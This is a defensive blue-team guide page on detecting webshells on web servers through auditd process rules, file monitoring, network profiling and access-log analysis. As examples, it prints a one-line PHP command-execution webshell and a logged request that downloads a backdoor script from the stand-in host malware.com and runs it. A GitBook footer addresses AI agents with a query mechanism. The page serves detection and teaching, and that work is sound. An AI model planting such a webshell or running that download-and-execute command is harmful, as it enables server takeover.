> For the complete documentation index, see [llms.txt](https://vasilisa-l.gitbook.io/blue-team-cookbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vasilisa-l.gitbook.io/blue-team-cookbook/en/web/webshell.md).

# Webshell Detect and Analyze

Webshell is a malicious script (usually in PHP, ASP, or JSP) that an attacker uploads to a web server to gain remote control. It looks like a regular file but contains code for executing commands, downloading other malware, or stealing data.

{% hint style="info" %}
Do not confuse webshell with a regular shell.

A webshell is a file that gets uploaded to the OS into the web application directory, accessible as a web page that accepts commands. It executes these commands via the web service process. Often it returns the execution result on the same page.\
For example, once I saw a shell that returned command results through a DNS tunnel. Probably for greater stealth.

A regular shell is a separate process launched by the attacker. It can be a new executable file or implemented via `nc`, `python`, `powershell`, or other system utilities.\
These shells are divided into:

* bind (direct) - the attacker initiates the connection. The service must be directly accessible over the network.
* reverse - the connection is initiated from the compromised host inside the network to the command and control (C2, CnC) server, which sends commands for execution. The C2 is usually located outside the organization's perimeter.
  {% endhint %}

The file `wp-admin/images/logo.php` with the code `<?php system($_GET['cmd']); ?>` is a classic webshell masquerading as part of WordPress.

Webshells typically appear on websites with file upload functionality:

* Vulnerable web applications, CMS (WordPress, Joomla, 1C-Bitrix, etc.).
* Usually through outdated plugins or frameworks.

## **Abnormal Command Execution as Web User**

Webshell runs under the web server user (`www-data`, `bitrix`, `confluence`, etc.). If such a user suddenly starts running `sh`, `bash`, `curl`, or `wget`, this is a red flag. In general, any processes or reconnaissance commands (especially `whoami`).

```
syscall: 59     # execve
auid in ["nginx", "apache", "www-data", "oracle", "confluence", "bitrix", "git"]
```

Depending on auditd settings, execve logs the user ID instead of the account name (e.g., 33 instead of www-data).

When an attacker gains the ability to execute code, they inherit the privileges of the user under which the web service runs. If the service runs as root, the attacker immediately gets root privileges (uid = 0). (In such cases, detection becomes meaningless.)

## **Non-standard Processes from the Web Server**

When executing commands via RCE or webshell, each command runs as a child process of the web service process.

This is less relevant for Linux servers since standard auditd only logs the parent process PID, not its name. Therefore, either enrich PPID with the name or find another approach.

{% hint style="info" %}
Works perfectly on Windows because the process launch event shows the parent process name.\
It will usually be w3wp.exe.
{% endhint %}

However, auditd logs the current directory when launching a process (syscall `execve`). This is not the most reliable method, as no one prevents an administrator from navigating to the web service directory to configure or debug something.

Still, launching processes from `/var/www` may serve as a good indicator of a web service compromise.

**Standard Web Directories**

* `/var/www/html/` (Apache/Nginx)
* `/var/www/[site_name]/public_html/`
* `/usr/local/apache2/htdocs/`
* `/home/[user]/public_html/` (if the server hosts user sites)

Depending on the CMS, the path may vary.

{% hint style="info" %}
Actually, processes from the web server or web user are also effective during RCE without a webshell, i.e., gaining command execution through parameters without uploading files.
{% endhint %}

## **Suspicious Files in Web Directories**

A webshell involves creating a file on the server that can be accessed as a page and interprets the passed code so it executes on the web server.

Thus, webshells usually have specific extensions:

* `.php` — WordPress, Laravel, Drupal,
  * `.phtml` (PHP equivalent).
* `.jsp` — Java applications (Tomcat, JBoss)
* `.asp/.aspx` — older Windows servers (IIS)
  * `.ashx` (ASP.NET).

{% hint style="info" %}
I dream of a SIEM where detection rules would allow considering the specifics of asset software.

If there is no PHP on the server but a `.php` appears — it’s 100% a webshell.

Also, it's tricky if the web server is written in Java, because it's not always a web server, but could be a Java developer workstation where it's normal to launch child processes and create `.jsp` files.
{% endhint %}

Webshells can disguise themselves as legitimate files:

* `image.php` (in the `/uploads/` folder)
* `style.aspx` (instead of `.css`)

Therefore, monitor syscall `open/openat` for file writes. More here: [https://github.com/Vasilisa-L/blue-team-cookbook/blob/main/en/web/unix/audit/unix-syscalls.md#open-openat](https://github.com/Vasilisa-L/blue-team-cookbook/blob/main/en/web/unix/audit/unix-syscalls.md#open-openat "mention")

{% hint style="info" %}
Actually, you should monitor not only file creation by the web service with webshell extensions but also any executable files in suspicious directories (`/tmp/` and others).
{% endhint %}

## **Network Activity**

There is a great tool called reGeorge:

{% embed url="<https://github.com/sensepost/reGeorg>" %}

This is both a webshell and a tunnel in one. It was not created to execute commands on a compromised server but to proxy traffic from the attacker directly into the internal network.

Since commands are not executed, it is less noticeable to analysts.

Besides creating a file with a suspicious extension, you can detect such behavior through unusual network activity. It needs profiling, but generally, if a web server process suddenly starts connecting to many internal nodes, scanning around itself, there is likely a shell-tunnel present on the server.

## **Access Log Analysis (HTTP Requests to Webshell)**

I'm not a fan of using Access Logs for detecting attacks on web applications — for that, there are specialized tools (WAFs). But it can be used as an alternative. However, some limitations must be understood:

* Access Log does not log all headers by default; often only referer and User-Agent are included. This is insufficient for full coverage of possible attack methods.
* Additional configuration is needed to log POST request bodies, which significantly increases log volume.
* If the webshell masks commands (e.g., base64 encoded), Access Log won’t decode them, whereas a good WAF might.

[HTTP protocol](/blue-team-cookbook/en/web/http.md) - about HTTP request and response structure

{% embed url="<https://www.crowdstrike.com/en-us/cybersecurity-101/observability/access-logs/>" %}
And about the Access Log format
{% endembed %}

Also, any sign of an attack in Access Log is primarily an attempt, not necessarily successful.

Classic case — downloading and executing a backdoor:

```
192.168.1.100 - - [15/Jul/2024:13:37:22 +0300] "GET /wp-content/uploads/temp.php?cmd=wget+http://malware.com/shell.sh+-O+/tmp/backdoor.sh%3B+chmod+777+/tmp/backdoor.sh%3B+sh+/tmp/backdoor.sh HTTP/1.1" 200 312 "-" "Mozilla/5.0 (compatible)"
```

* **`wget`**: Downloads a malicious script from `malware.com`.
* **`chmod 777`**: Grants execution rights.
* **`sh /tmp/backdoor.sh`**: Executes the script.

Validation can be done in several ways:

* Creation of the file **`/tmp/backdoor.sh`** on the web server — syscall `open`.
* Launching processes on the web server (`wget`, `chmod`) — syscall `execve`\
  These will show earlier described indicators:\
  execution under the web service user, execution from the web service directory, and from the web service process.
* Accesses to `http://malware.com` — DNS resolutions, syscall `connect` (previously resolve to IP).\
  For analysis, logs and any traffic analysis tools (NTA) can be used.\
  If the protocol is HTTP (without s), the connection is unencrypted, meaning you can search for and extract the content of the script **`backdoor.sh`** in the traffic.

{% hint style="info" %}
Not the most reliable, but sometimes I wrote a rule for AF that searches for typical commands in the response body: `whoami`, `id`, `ls -la`, and others, which attackers are most likely to use.

We immediately spotted successful RCEs.
{% endhint %}

Access Logs are more useful for retrospective investigations. With webshells, it's helpful to see:

* From which address the webshell was first accessed.
* From which addresses it was accessed again.
* Which pages were visited from those addresses.

## Finding Webshell Traces if You Have OS Access

* **Search for new/modified files** (in the last 1–7 days):

  ```
  find /var/www/ -type f -name "*.php" -mtime -7
  ```
* **Search for files with dangerous functions** (`exec`, `system`, `shell_exec`):

  ```
  grep -rn "system(" /var/www/
  ```
* **Check permissions** (files with `777` or `www-data:www-data`):

  ```
  find /var/www/ -perm 777 -type f
  ```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://vasilisa-l.gitbook.io/blue-team-cookbook/en/web/webshell.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
